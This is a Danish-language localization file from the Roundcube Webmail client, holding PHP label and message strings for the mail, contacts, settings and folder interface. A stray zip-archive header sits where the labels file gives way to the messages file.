$labels['maxuploadsize'] = 'Maksimale tilladte filstørrelse er $size';
$labels['addcc'] = 'Tilføj Cc';
$labels['addbcc'] = 'Tilføj Bcc';
$labels['addreplyto'] = 'Tilføj Svar-Til adresse';
$labels['addfollowupto'] = 'Tilføj følg-op adresse';
$labels['sendreceipt'] = 'Send kvittering for læsning?';
$labels['mdnrequest'] = 'Afsenderen af denne besked har bedt om at modtage en bekræftelse når du læser beskeden. Vil du sende kvittering for læsning?';
$labels['receiptread'] = 'Send kvittering for læsning';
$labels['yourmessage'] = 'Dette er en kvittering for at din besked er blevet vist';
$labels['receiptnote'] = 'Bemærk: Denne kvittering bekræfter udelukkende at beskeden blev vist på modtagerens computer. Der er ingen garanti for at modtageren har læst eller forstået beskedens indhold.';
$labels['sendalwaysto'] = 'Send altid til $email';
$labels['zoomin'] = 'Zoom ind';
$labels['zoomout'] = 'Zoom ud';
$labels['rotate'] = 'Rotér';
$labels['increaseimage'] = 'Forøg billedestørrelse';
$labels['decreaseimage'] = 'Formindst billedestørrelse';
$labels['rotateimage'] = 'Rotér billede';
$labels['showtools'] = 'Vis billedeværktøjer';
$labels['hidetools'] = 'Skjul billedeværktøjer';
$labels['name'] = 'Vist navn';
$labels['firstname'] = 'Fornavn';
$labels['surname'] = 'Efternavn';
$labels['middlename'] = 'Mellemnavn';
$labels['nameprefix'] = 'Præfiks';
$labels['namesuffix'] = 'Suffiks';
$labels['nickname'] = 'Alias/Kaldenavn';
$labels['jobtitle'] = 'Jobtitel';
$labels['department'] = 'Afdeling';
$labels['gender'] = 'Køn';
$labels['maidenname'] = 'Pigenavn';
$labels['email'] = 'E-mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresse';
$labels['street'] = 'Vej';
$labels['locality'] = 'By';
$labels['zipcode'] = 'Postnr.';
$labels['region'] = 'Område/region';
$labels['country'] = 'Land';
$labels['birthday'] = 'Fødselsdag';
$labels['anniversary'] = 'Årsdag';
$labels['website'] = 'Hjemmeside';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Noter';
$labels['male'] = 'Mand';
$labels['female'] = 'Kvinde';
$labels['manager'] = 'Manager';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Ægtefælle/partner';
$labels['allfields'] = 'Alle felter';
$labels['search'] = 'Søg';
$labels['searchresult'] = 'Søgeresultat ';
$labels['advsearch'] = 'Avanceret søg';
$labels['advanced'] = 'Avanceret';
$labels['other'] = 'Andet';
$labels['printcontact'] = 'Udskriv kontakt';
$labels['qrcode'] = 'QR-kode';
$labels['typehome'] = 'Hjem';
$labels['typework'] = 'Arbejde';
$labels['typeother'] = 'Andet';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Hovednr.';
$labels['typehomefax'] = 'Hjemme - fax';
$labels['typeworkfax'] = 'Arbejde - fax';
$labels['typecar'] = 'Bil';
$labels['typepager'] = 'Personsøger';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Hjemmeside';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Tilføj felt...';
$labels['addcontact'] = 'Tilføj kontakt';
$labels['editcontact'] = 'Redigér kontakt';
$labels['contacts'] = 'Kontakter';
$labels['contactproperties'] = 'Kontaktegenskaber';
$labels['contactnameandorg'] = 'Navn og organisation';
$labels['personalinfo'] = 'Personlig information';
$labels['personal'] = 'Personlig';
$labels['contactphoto'] = 'Kontaktfoto';
$labels['edit'] = 'Redigér';
$labels['cancel'] = 'Annullér';
$labels['save'] = 'Gem';
$labels['delete'] = 'Slet';
$labels['discard'] = 'Kasser';
$labels['continue'] = 'Fortsæt';
$labels['ok'] = 'OK';
$labels['rename'] = 'Omdøb';
$labels['addphoto'] = 'Tilføj';
$labels['replacephoto'] = 'Erstat';
$labels['uploadphoto'] = 'Overfør billede';
$labels['choosefile'] = 'Vælg fil...';
$labels['choosefiles'] = 'Vælg filer...';
$labels['browse'] = 'Gennemse';
$labels['newcontact'] = 'Opret ny kontakt';
$labels['deletecontact'] = 'Slet valgte kontakter';
$labels['composeto'] = 'Skriv besked til';
$labels['contactsfromto'] = 'Kontakter $from til $to af $count';
$labels['print'] = 'Udskriv';
$labels['export'] = 'Eksportér';
$labels['exportall'] = 'Eksporter alt';
$labels['exportsel'] = 'Eksporter udvalgte';
$labels['exportvcards'] = 'Eksportér kontakter i vCard format';
$labels['newgroup'] = 'Opret gruppe';
$labels['addgroup'] = 'Tilføj gruppe';
$labels['grouprename'] = 'Omdøb gruppe';
$labels['groupdelete'] = 'Slet gruppe';
$labels['groupassign'] = 'Tilføj til gruppe...';
$labels['groupremove'] = 'Fjern fra gruppe';
$labels['groupremoveselected'] = 'Fjern markerede kontakter fra gruppen';
$labels['uponelevel'] = 'Et niveau op';
$labels['previouspage'] = 'Vis den forrige side';
$labels['firstpage'] = 'Vis første side';
$labels['nextpage'] = 'Vis næste side';
$labels['lastpage'] = 'Vis sidste side';
$labels['group'] = 'Gruppe';
$labels['groups'] = 'Grupper';
$labels['listgroup'] = 'Vis gruppemedlemmer';
$labels['personaladrbook'] = 'Personlige adresser';
$labels['searchsave'] = 'Gem søgning';
$labels['searchdelete'] = 'Slet søgning';
$labels['import'] = 'Importér';
$labels['importcontacts'] = 'Importér kontakter';
$labels['importfromfile'] = 'Importer fra fil';
$labels['importtarget'] = 'Tilføj kontakter til';
$labels['importreplace'] = 'Overskriv hele adressebogen';
$labels['importgroups'] = 'Importer gruppetildelinger';
$labels['importgroupsall'] = 'Alle (opret grupper hvis nødvendigt)';
$labels['importgroupsexisting'] = 'Kun for eksisterende grupper';
$labels['importmapdesc'] = 'Bekræft herunder, at informationen om det kortlagte felt er korrekt før der fortsættes med import af CSV (komma separerede) data. ';
$labels['fieldnotmapped'] = 'Feltet er ikke kortlagt (importer ikke)';
$labels['skipheader'] = 'Importer ikke første linje (overskrifter)';
$labels['done'] = 'Færdig';
$labels['settingsfor'] = 'Indstillinger for';
$labels['about'] = 'Om';
$labels['preferences'] = 'Indstillinger';
$labels['userpreferences'] = 'Brugerindstillinger';
$labels['editpreferences'] = 'Redigér brugerindstillinger';
$labels['identities'] = 'Identiteter';
$labels['manageidentities'] = 'Administrer identiteter ';
$labels['newidentity'] = 'Opret ny identitet ';
$labels['addidentity'] = 'Tilføj identitet';
$labels['editidentity'] = 'Rediger identitet';
$labels['identityencryption'] = 'Kryptering';
$labels['preferhtml'] = 'Vis HTML';
$labels['defaultcharset'] = 'Standard tegnkodning';
$labels['htmlmessage'] = 'HTML-besked';
$labels['messagepart'] = 'Del';
$labels['digitalsig'] = 'Digital signatur';
$labels['dateformat'] = 'Datoformat';
$labels['timeformat'] = 'Tidsformat';
$labels['prettydate'] = 'Pæn datovisning';
$labels['setdefault'] = 'Sæt standard';
$labels['autodetect'] = 'Automatisk';
$labels['language'] = 'Sprog';
$labels['timezone'] = 'Tidszone';
$labels['pagesize'] = 'Rækker pr. side';
$labels['signature'] = 'Signatur';
$labels['dstactive'] = 'Sommertid';
$labels['showinextwin'] = 'Åbn besked i et nyt vindue';
$labels['composeextwin'] = 'Opret besked i et nyt vindue';
$labels['htmleditor'] = 'Skriv HTML-besked';
$labels['htmlonreply'] = 'kun når jeg besvarer HTML-beskeder';
$labels['htmlonreplyandforward'] = 'ved videresendelse eller besvarelse af HTML beskeder';
$labels['htmlsignature'] = 'HTML-signatur';
$labels['showemail'] = 'Vis email-adresse med vist navn';
$labels['previewpane'] = 'Vis forhåndsvisningsrude';
$labels['skin'] = 'Brugerflade';
$labels['logoutclear'] = 'Tøm Papirkurv når jeg logger af';
$labels['logoutcompact'] = 'Komprimér Indbakke når jeg logger af';
$labels['uisettings'] = 'Brugerflade';
$labels['serversettings'] = 'Serverindstillinger';
$labels['mailboxview'] = 'Postkassevisning';
$labels['mdnrequests'] = 'Kvitteringer';
$labels['askuser'] = 'spørg mig';
$labels['autosend'] = 'send automatisk';
$labels['autosendknown'] = 'send automatisk til mine kontakter, ellers spørg mig';
$labels['autosendknownignore'] = 'send automatisk til mine kontakter, ellers ignorér';
$labels['autosendtrusted'] = 'Send kvittering til mine betroede afsendere, ellers spørg mig';
$labels['autosendtrustedignore'] = 'Send kvittering til mine betroede afsendere, ellers ignorer';
$labels['ignorerequest'] = 'ignorer efterspørgsel';
$labels['readwhendeleted'] = 'Markér beskeden som læst ved sletning';
$labels['flagfordeletion'] = 'Markér beskeden til sletning istedet for at slette';
$labels['skipdeleted'] = 'Skjul slettede beskeder';
$labels['deletealways'] = 'Hvis det ikke lykkes at flytte beskeder til Papirkurv, så slet dem';
$labels['deletejunk'] = 'Slet beskeder i Junk uden at flytte i skraldespand';
$labels['showremoteimages'] = 'Vis eksterne indlejrede billeder';
$labels['allowremoteresources'] = 'Tillad eksterne ressourcer (billeder, formattering)';
$labels['fromknownsenders'] = 'fra kendte afsendere';
$labels['fromtrustedsenders'] = 'fra betroede afsendere';
$labels['frommycontacts'] = 'fra mine kontakter';
$labels['always'] = 'altid';
$labels['alwaysbutplain'] = 'altid, undtagen ved besvarelse af ren-tekst';
$labels['showinlineimages'] = 'Vis vedhæftede billeder under beskeden';
$labels['autosavedraft'] = 'Gem kladde automatisk';
$labels['everynminutes'] = 'hver $n. minut';
$labels['refreshinterval'] = 'Opdater (tjek for nye beskeder m.v.)';
$labels['never'] = 'aldrig';
$labels['immediately'] = 'straks';
$labels['messagesdisplaying'] = 'Visning af beskeder';
$labels['messagescomposition'] = 'Skrivning af beskeder';
$labels['mimeparamfolding'] = 'Navne på vedhæftninger';
$labels['2231folding'] = 'Fuld RFC 2231 understøttelse (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 understøttelse (MS Outlook)';
$labels['2047folding'] = 'Fuld RFC 2047 understøttelse (andre)';
$labels['force7bit'] = 'Brug MIME indkodning for 8-bits tegn';
$labels['savelocalstorage'] = " ";
$labels['advancedoptions'] = 'Avancerede indstillinger';
$labels['toggleadvancedoptions'] = 'Skift avancerede indstillinger';
$labels['focusonnewmessage'] = 'Fokusér browservindue når der kommer en ny besked';
$labels['checkallfolders'] = 'Tjek alle mapper for nye beskeder';
$labels['displaynext'] = 'Vis næste besked efter sletning/flytning';
$labels['defaultfont'] = 'Standard font ved HTML besked';
$labels['mainoptions'] = 'Generelle indstillinger';
$labels['browseroptions'] = 'Browserindstillinger';
$labels['section'] = 'Sektion';
$labels['maintenance'] = 'Vedligeholdelse';
$labels['newmessage'] = 'Ny besked';
$labels['signatureoptions'] = 'Signatur-indstillinger';
$labels['whenreplying'] = 'Når der svares';
$labels['replyempty'] = 'Citer ikke den originale besked';
$labels['replytopposting'] = 'begynd svar over originalen';
$labels['replytoppostingnoindent'] = 'begynd svar over originalen (ingen indrykning)';
$labels['replybottomposting'] = 'begynd svar under originalen';
$labels['replyremovesignature'] = 'Fjern original signatur fra besked, når der svares';
$labels['autoaddsignature'] = 'Indsæt automatisk signatur';
$labels['newmessageonly'] = 'kun på nye beskeder';
$labels['replyandforwardonly'] = 'kun på svar og videresendelse af beskeder';
$labels['insertsignature'] = 'Indsæt signatur';
$labels['sigbelow'] = 'Placer signaturen under den citerede tekst';
$labels['sigseparator'] = 'Tving standard separator i signaturer';
$labels['automarkread'] = 'Marker beskeder som læst';
$labels['afternseconds'] = 'efter $n sekunder';
$labels['reqmdn'] = 'Anmod altid om kvittering for læsning';
$labels['reqdsn'] = 'Anmod altid om kvittering for levering';
$labels['replysamefolder'] = 'Placer svar til en besked i samme mappe som beskeden der besvares';
$labels['defaultabook'] = 'Standardadressebog';
$labels['autocompletesingle'] = 'Undgå alternative e-mailadresser ved autofuldførelse';
$labels['listnamedisplay'] = 'Vis kontakter som';
$labels['privatemode'] = 'Privat (hjemme)';
$labels['businessmode'] = 'Arbejde (job)';
$labels['collectedaddresses'] = 'Indsamlede adresser';
$labels['collectedrecipients'] = 'indsamlede modtagere';
$labels['collectedrecipientsopt'] = 'Gem udgående kvitteringer i';
$labels['collectedsendersopt'] = 'gem betroede afsendere i';
$labels['trustedsenders'] = 'betroede afsendere';
$labels['spellcheckbeforesend'] = 'Kontrollér stavning inden beskeden sendes';
$labels['spellcheckoptions'] = 'Stavekontrolindstillinger';
$labels['spellcheckignoresyms'] = 'Ignorer ord med symboler';
$labels['spellcheckignorenums'] = 'Ignorer ord med tal';
$labels['spellcheckignorecaps'] = 'Ignorer ord med udelukkende store bogstaver';
$labels['addtodict'] = 'Føj til ordbog';
$labels['mailtoprotohandler'] = 'Registrer protokolhåndtering af \'mailto:\'-links';
$labels['standardwindows'] = 'Behandl pop op-vinduer som standardvinduer';
$labels['forwardmode'] = 'Videresendelse af beskeder';
$labels['inline'] = 'som del af teksten';
$labels['asattachment'] = 'som vedhæftning';
$labels['replyallmode'] = 'Standardhandling for [Svar alle]-knap';
$labels['replyalldefault'] = 'svar til alle';
$labels['replyalllist'] = 'svar kun til mail-liste (hvis fundet)';
$labels['allmessages'] = 'alle meddelelser';
$labels['folder'] = 'Mappe';
$labels['folders'] = 'Mapper';
$labels['foldername'] = 'Mappenavn';
$labels['subscribed'] = 'Abonneret';
$labels['messagecount'] = 'Beskeder';
$labels['create'] = 'Opret';
$labels['createfolder'] = 'Opret ny mappe';
$labels['managefolders'] = 'Administrér mapper';
$labels['specialfolders'] = 'Specielle mapper';
$labels['properties'] = 'Egenskaber';
$labels['folderproperties'] = 'Mappeegenskaber';
$labels['parentfolder'] = 'Mappe et niveau op';
$labels['location'] = 'Placering';
$labels['info'] = 'Information';
$labels['getfoldersize'] = 'Klik for mappestørrelse';
$labels['changesubscription'] = 'Klik for at ændre abonnement';
$labels['foldertype'] = 'Mappetype';
$labels['personalfolder'] = 'Privat mappe';
$labels['otherfolder'] = 'Anden brugers mappe';
$labels['sharedfolder'] = 'Offentlig mappe';
$labels['findfolders'] = 'Find mapper';
$labels['findcontacts'] = 'Find kontakter';
$labels['findmail'] = 'Find beskeder';
$labels['namespace.personal'] = 'Personlig';
$labels['namespace.other'] = 'Andre brugere';
$labels['namespace.shared'] = 'Delt';
$labels['dualuselabel'] = 'Kan kun indeholde';
$labels['dualusemail'] = 'beskeder';
$labels['dualusefolder'] = 'mapper';
$labels['generate'] = 'Opret';
$labels['encryptioncreatekey'] = 'Opret et nyt nøglepar';
$labels['openmailvelopesettings'] = 'Åbn Mailvelope-indstillinger';
$labels['encryptionprivkeysinmailvelope'] = 'Du har $nr matchende private nøgler gemt i din Mailvelope nøglering: ';
$labels['encryptionnoprivkeysinmailvelope'] = 'Denne afsender identitet har ikke allerede en PGP privat nøgle gemt i din Mailvelope udvidelse. Vil du oprette en for at tillade krypterede beskeder?';
$labels['encryption'] = 'Kryptering';
$labels['mailvelopeoptions'] = 'Mailvelope muligheder';
$labels['sortby'] = 'Sortér efter';
$labels['sortasc'] = 'Ældste først';
$labels['sortdesc'] = 'Nyeste først';
$labels['undo'] = 'Fortryd';
$labels['installedplugins'] = 'Installerede udvidelser';
$labels['plugin'] = 'Udvidelse';
$labels['version'] = 'Version';
$labels['source'] = 'Kilde';
$labels['license'] = 'Licens';
$labels['support'] = 'Få support';
$labels['savedsearches'] = 'Gemte søgninger';
$labels['dateformatY'] = 'ÅÅÅÅ';
$labels['dateformaty'] = 'ÅÅ';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Engelsk';
$labels['westerneuropean'] = 'Vesteuropæisk';
$labels['easterneuropean'] = 'Østeuropæisk';
$labels['southeasterneuropean'] = 'Sydøsteuropæisk';
$labels['baltic'] = 'Baltisk';
$labels['cyrillic'] = 'Kyrillisk';
$labels['arabic'] = 'Arabisk';
$labels['greek'] = 'Græsk';
$labels['hebrew'] = 'Hebræisk';
$labels['turkish'] = 'Tyrkisk';
$labels['nordic'] = 'Nordisk';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Keltisk';
$labels['vietnamese'] = 'Vietnamesisk';
$labels['japanese'] = 'Japansk';
$labels['korean'] = 'Koreansk';
$labels['chinese'] = 'Kinesisk';
$labels['arialabeltopnav'] = 'Vinduesstyring';
$labels['arialabeltasknav'] = 'Programopgaver';
$labels['arialabeltoolbar'] = 'Programværktøjslinje';
$labels['arialabelactivetask'] = 'Aktiv opgave';
$labels['arialabelmessagessearchfilter'] = 'E-mail-filter';
$labels['arialabelmailsearchform'] = 'E-mail-søgeformular';
$labels['arialabelcontactsearchform'] = 'Kontakt-søgeformular';
$labels['arialabelmailquicksearchbox'] = 'E-mail-søgeinput';
$labels['arialabelquicksearchbox'] = 'Søgeinput';
$labels['arialabelfoldersearchfilter'] = 'Mappevisningsfilter';
$labels['arialabelfoldersearchform'] = 'Mappesøgeformular';
$labels['arialabelfolderlist'] = 'E-mailmappevalg';
$labels['arialabelmessagelist'] = 'E-mailbeskedvisning';
$labels['arialabelmailpreviewframe'] = 'Forhåndsvisning af besked';
$labels['arialabelmailboxmenu'] = 'Menu for mappehandlinger';
$labels['arialabellistselectmenu'] = 'Menu for listevalg';
$labels['arialabelthreadselectmenu'] = 'Menu for trådvisning';
$labels['arialabelmessagebody'] = 'Beskedtekst';
$labels['arialabelmessageactions'] = 'Handlinger for besked';
$labels['arialabelcontactquicksearch'] = 'Kontaktsøgeformular';
$labels['arialabelcontactsearchbox'] = 'Kontaktsøgeinput';
$labels['arialabelmessageheaders'] = 'Brevhoveder';
$labels['arialabelforwardingoptions'] = 'Videresendelsesindstillinger';
$labels['arialabelreplyalloptions'] = 'Svar-alle indstillinger';
$labels['arialabelmoremessageactions'] = 'Flere funktioner';
$labels['arialabelmarkmessagesas'] = 'Markér valgte beskeder som...';
$labels['arialabelcomposeoptions'] = 'Kompositionsindstillinger';
$labels['arialabelresponsesmenu'] = 'Forberedte-svar menu';
$labels['arialabelattachmentuploadform'] = 'Vedhæftnings uploadform';
$labels['arialabelmailtomenu'] = 'Email adresse indstillinger';
$labels['arialabelattachmentpreview'] = 'Forhåndsvisning af vedhæftning';
$labels['arialabelsearchterms'] = 'Søgekriterier';
$labels['arialabeldropactionmenu'] = 'Drag-n-Drop handlings menu';
$labels['arialabelimagetools'] = 'Billede værktøj';
$labels['helplistkeyboardnavmessages'] = "Piletaster højre/venstre: Udvid/sammenfold beskedtråd (kun i trådtilstand)
Enter: Åbn den valgte/fokuserede besked.
Delete: Flyt markerede beskeder til Papirkurv.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Åbn den valgte/fokuserede kontakt.";
PK
h�\��::'program/localization/da_DK/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Der opstod en fejl!';
$messages['loginfailed']  = 'Det lykkedes ikke at logge på.';
$messages['cookiesdisabled'] = 'Din browser accepterer ikke cookies.';
$messages['sessionerror'] = 'Din session er ugyldig eller udløbet.';
$messages['cookiesmismatch'] = 'Cookie uoverensstemmelse fundet. Venligst tøm din browser\'s cookies.';
$messages['storageerror'] = 'Forbindelse til e-mailserveren fejlede.';
$messages['servererror'] = 'Serverfejl!';
$messages['servererrormsg'] = 'Serverfejl: $msg';
$messages['accountlocked'] = 'For mange mislykkede login-forsøg. Prøv igen senere.';
$messages['connerror'] = 'Forbindelsesfejl (kunne ikke oprette forbindelse til server)!';
$messages['dberror'] = 'Databasefejl!';
$messages['dbconnerror'] = 'Kan ikke forbinde til databasen!';
$messages['windowopenerror'] = 'Pop op-vinduet blev blokeret!';
$messages['requesttimedout'] = 'Forespørgslen tog for lang tid';
$messages['errorreadonly'] = 'Kunne ikke udføre den ønskede handling. Mappen er skrivebeskyttet.';
$messages['errornoperm'] = 'Kunne ikke udføre den ønskede handling. Tilladelse nægtet.';
$messages['erroroverquota'] = 'Kan ikke udføre handlingen. Der er ikke nok ledig diskplads.';
$messages['erroroverquotadelete'] = 'Der er ikke nok ledig diskplads. Brug Shift+Delete til at slette en meddelelse.';
$messages['invalidrequest'] = 'Ugyldig forespørgsel! Ingen data blev gemt.';
$messages['invalidhost'] = 'Ugyldigt servernavn.';
$messages['nomessagesfound'] = 'Ingen beskeder fundet i denne postkasse.';
$messages['loggedout'] = 'Du har afsluttet sessionen. Farvel!';
$messages['mailboxempty'] = 'Postkassen er tom.';
$messages['nomessages'] = 'Ingen beskeder';
$messages['refreshing'] = 'Opdaterer...';
$messages['loading'] = 'Indlæser...';
$messages['uploading'] = 'Uploader fil...';
$messages['attaching'] = 'Vedhæfter fil...';
$messages['uploadingmany'] = 'Uploader filer...';
$messages['loadingdata'] = 'Indlæser data...';
$messages['checkingmail'] = 'Tjekker for nye beskeder...';
$messages['sendingmessage'] = 'Sender besked...';
$messages['messagesent'] = 'Beskeden blev sendt.';
$messages['savingmessage'] = 'Gemmer besked...';
$messages['messagesaved'] = 'Beskeden er gemt i Kladder.';
$messages['successfullysaved'] = 'Gemt.';
$messages['savingresponse'] = 'Gemmer svartekst...';
$messages['deleteresponseconfirm'] = 'Er du sikker på, at du vil slette denne svartekst?';
$messages['nocontactselected'] = 'Du har ikke valgt en kontakt endnu.';
$messages['addedsuccessfully'] = 'Kontakten blev tilføjet adressebogen.';
$messages['contactexists'] = 'En kontakt med samme navn eksisterer allerede.';
$messages['contactnameexists'] = 'En kontakt med samme navn eksisterer allerede.';
$messages['blockedimages'] = 'For at beskytte dit privatliv er billeder fra eksterne internetservere blokeret.';
$messages['blockedresources'] = 'For at beskytte dit privatliv er fjernressourcer blevet blokeret.';
$messages['suspiciousemail'] = 'Denne meddelelse indeholder mistænkelige email adresser, der kan være svigagtige.';
$messages['encryptedmessage'] = 'Beskeden er krypteret og kan ikke vises. Beklager!';
$messages['externalmessagedecryption'] = 'Dette er en krypteret meddelelse og kan dekrypteres med din browser-udvidelse.';
$messages['encryptpubkeysfound'] = 'Følgende offentlige nøgler blev fundet:';
$messages['nocontactsfound'] = 'Ingen kontakter fundet.';
$messages['contactnotfound'] = 'Den ønskede kontakt blev ikke fundet.';
$messages['contactsearchonly'] = 'Du skal bruge et søgefelt for at se kontakter i den valgte adressebog.';
$messages['sendingfailed'] = 'Det lykkedes ikke at sende beskeden.';
$messages['senttooquickly'] = 'Vent venligst $sec sekunder før du sender denne besked.';
$messages['errorsavingsent'] = 'Der opstod en fejl, da den sendte besked blev forsøgt gemt.';
$messages['errorsaving'] = 'Der opstod en fejl mens der blev gemt.';
$messages['errormoving'] = 'Beskeden/beskederne kunne ikke flyttes.';
$messages['errorcopying'] = 'Beskeden/beskederne kunne ikke kopieres.';
$messages['errordeleting'] = 'Beskeden/beskederne kunne ikke slettes.';
$messages['errormarking'] = 'Beskeden/beskederne kunne ikke markeres.';
$messages['alerttitle'] = 'Opmærksomhed';
$messages['confirmationtitle'] = 'Er du sikker...';
$messages['deletecontactconfirm']  = 'Vil du virkelig slette den/de valgte kontakt(er)?';
$messages['deletegroupconfirm']  = 'Vil du virkelig slette den/de valgte gruppe(r)?';
$messages['deletemessagesconfirm'] = 'Vil du virkelig slette den/de valgte besked(er)?';
$messages['deletefolderconfirm']  = 'Vil du virkelig slette denne mappe?';
$messages['movefolderconfirm']  = 'Vil du virkelig flytte mappen?';
$messages['purgefolderconfirm']  = 'Vil du virkelig slette alle beskeder i denne mappe?';
$messages['contactdeleting'] = 'Sletter kontakt(er)...';
$messages['groupdeleting'] = 'Sletter gruppe...';
$messages['folderdeleting'] = 'Sletter mappe...';
$messages['foldermoving'] = 'Flytter mappen...';
$messages['foldersubscribing'] = 'Abonnerer på mappen...';
$messages['folderunsubscribing'] = 'Fjerner abonnement på mappen...';
$messages['formincomplete'] = 'Formularen var ikke fuldstændig udfyldt.';
$messages['noemailwarning'] = 'Indtast venligst en gyldig e-mailadresse.';
$messages['nonamewarning']  = 'Angiv venligst et navn.';
$messages['nopagesizewarning'] = 'Angiv venligst en sidestørrelse.';
$messages['nosenderwarning'] = 'Indtast venligst e-mailadresse for afsender.';
$messages['recipientsadded'] = 'Modtager(e) tilføjet med succes.';
$messages['norecipientwarning'] = 'Indtast venligst mindst én modtager.';
$messages['disclosedreciptitle'] = 'For mange offentlige modtagere';
$messages['nosubjectwarning']  = '\'Emne\'-feltet er tomt. Vil du skrive et emne nu?';
$messages['nosubjecttitle']  = 'Intet emne';
$messages['nobodywarning'] = 'Send denne besked uden tekst?';
$messages['notsentwarning'] = 'Beskeden er ikke sendt, og ændringerne er ikke gemt endnu. Vil du kassere beskeden?';
$messages['restoresavedcomposedata'] = 'En tidligere skreven men usendt besked blev fundet.\n\nEmne: $subject\nGemt: $date\n\nØnsker du at gendanne denne besked?';
$messages['nosearchname'] = 'Indtast venligst et kontaktnavn eller en e-mailadresse.';
$messages['notuploadedwarning'] = 'Ikke alle vedhæftede filer er blevet uploadet endnu. Vent venligst eller afbryd upload.';
$messages['searchsuccessful'] = 'Fandt $nr beskeder.';
$messages['contactsearchsuccessful'] = 'Fandt $nr kontakter.';
$messages['searchnomatch'] = 'Søgningen fandt ingen beskeder.';
$messages['searching'] = 'Søger...';
$messages['checking'] = 'Tjekker...';
$messages['stillsearching'] = 'Søger stadig...';
$messages['nospellerrors'] = 'Ingen stavefejl fundet.';
$messages['folderdeleted'] = 'Mappen blev slettet.';
$messages['foldersubscribed'] = 'Mappe-abonnement oprettet.';
$messages['folderunsubscribed'] = 'Mappe-abonnement opsagt.';
$messages['folderpurged'] = 'Mappen blev tømt.';
$messages['folderexpunged'] = 'Mappen blev komprimeret';
$messages['deletedsuccessfully'] = 'Slettet.';
$messages['converting'] = 'Fjerner formatering...';
$messages['messageopenerror'] = 'Beskeden kunne ikke hentes fra serveren.';
$messages['filelinkerror'] = 'Vedhæftning af filen mislykkedes.';
$messages['fileuploaderror'] = 'Upload mislykkedes.';
$messages['filesizeerror'] = 'Den uploadede fil overskrider den maksimalt tilladte størrelse på $size.';
$messages['msgsizeerror'] = 'Filen kunne ikke vedhæftes. Størrelsen på en meddelelse må ikke overstige $size.';
$messages['copysuccess'] = '$nr kontakter blev kopieret.';
$messages['movesuccess'] = '$nr kontakter blev flyttet.';
$messages['copyerror'] = 'Kunne ikke kopiere nogen kontakter.';
$messages['moveerror'] = 'Kunne ikke flytte nogen kontakter.';
$messages['sourceisreadonly'] = 'Denne adressekilde er kun til læsning.';
$messages['errorsavingcontact'] = 'Kunne ikke gemme kontaktadressen.';
$messages['movingmessage'] = 'Flytter besked(er)...';
$messages['copyingmessage'] = 'Kopierer besked(er)...';
$messages['copyingcontact'] = 'Kopierer kontakt(er)...';
$messages['movingcontact'] = 'Flytter kontakt(er)...';
$messages['deletingmessage'] = 'Sletter besked(er)...';
$messages['markingmessage'] = 'Markerer besked(er)...';
$messages['addingmember'] = 'Føjer kontakt(er) til gruppen...';
$messages['removingmember'] = 'Fjerner kontakt(er) fra gruppen...';
$messages['receiptsent'] = 'Kvittering for læsning blev sendt.';
$messages['errorsendingreceipt'] = 'Kvitteringen kunne ikke sendes.';
$messages['deleteidentityconfirm'] = 'Vil du virkelig slette denne identitet?';
$messages['nodeletelastidentity'] = 'Du kan ikke slette denne identitet, da det er den eneste der er tilbage.';
$messages['forbiddencharacter'] = 'Mappenavnet indeholder et ugyldigt tegn.';
$messages['selectimportfile'] = 'Vælg venligst den fil der skal overføres.';
$messages['addresswriterror'] = 'Der kan ikke skrives i den valgte adressebog.';
$messages['contactaddedtogroup'] = 'Kontakterne blev tilføjet denne gruppe';
$messages['contactremovedfromgroup'] = 'Kontakterne blev fjernet fra denne gruppe';
$messages['nogroupassignmentschanged'] = 'Ingen gruppetildelinger ændret.';
$messages['importwait'] = 'Importerer, vent venligst...';
$messages['importformaterror'] = 'Importering mislykkedes! Den uploadede fil er ikke en gyldig import-datafil.';
$messages['importconfirm'] = '<b>Importerede $inserted kontakter</b>';
$messages['importconfirmskipped'] = '<b>Sprang over $skipped eksisterende kontakter</b>';
$messages['importmessagesuccess'] = 'Importerede $nr beskeder';
$messages['importmessageerror'] = 'Import mislykkedes! Den uploadede fil er ikke en gyldig besked- eller mailbox-fil.';
$messages['opnotpermitted'] = 'Handling ikke tilladt!';
$messages['nofromaddress'] = 'Der mangler en e-mailadresse i den valgte identitet.';
$messages['editorwarning'] = 'Al formatering af teksten kan forsvinde, hvis der skiftes editor. Vil du fortsætte?';
$messages['httpreceivedencrypterror'] = 'Der er opstået en fatal konfigurationsfejl. Kontakt venligst din system-administrator med det samme. <b>Din besked kunne ikke afsendes.</b>';
$messages['smtpconnerror'] = 'SMTP-fejl ($code): Forbindelsen til serveren afbrudt';
$messages['smtpautherror'] = 'SMTP-fejl ($code): Autenticering fejlede';
$messages['smtpfromerror'] = 'SMTP-fejl ($code): Kunne ikke indstille afsender "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP-fejl ($code): Kunne ikke tilføje modtageren "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP-fejl: Kan ikke fortolke listen af modtagere.';
$messages['smtpsizeerror'] = 'SMTP fejl: Beskedens størrelse overskrider serverenes grænse ($limit)';
$messages['smtperror'] = 'SMTP-fejl: $msg';
$messages['emailformaterror'] = 'Ugyldig e-mailadresse: $email';
$messages['toomanyrecipients'] = 'For mange modtagere. Reducer antallet af modtagere til $max.';
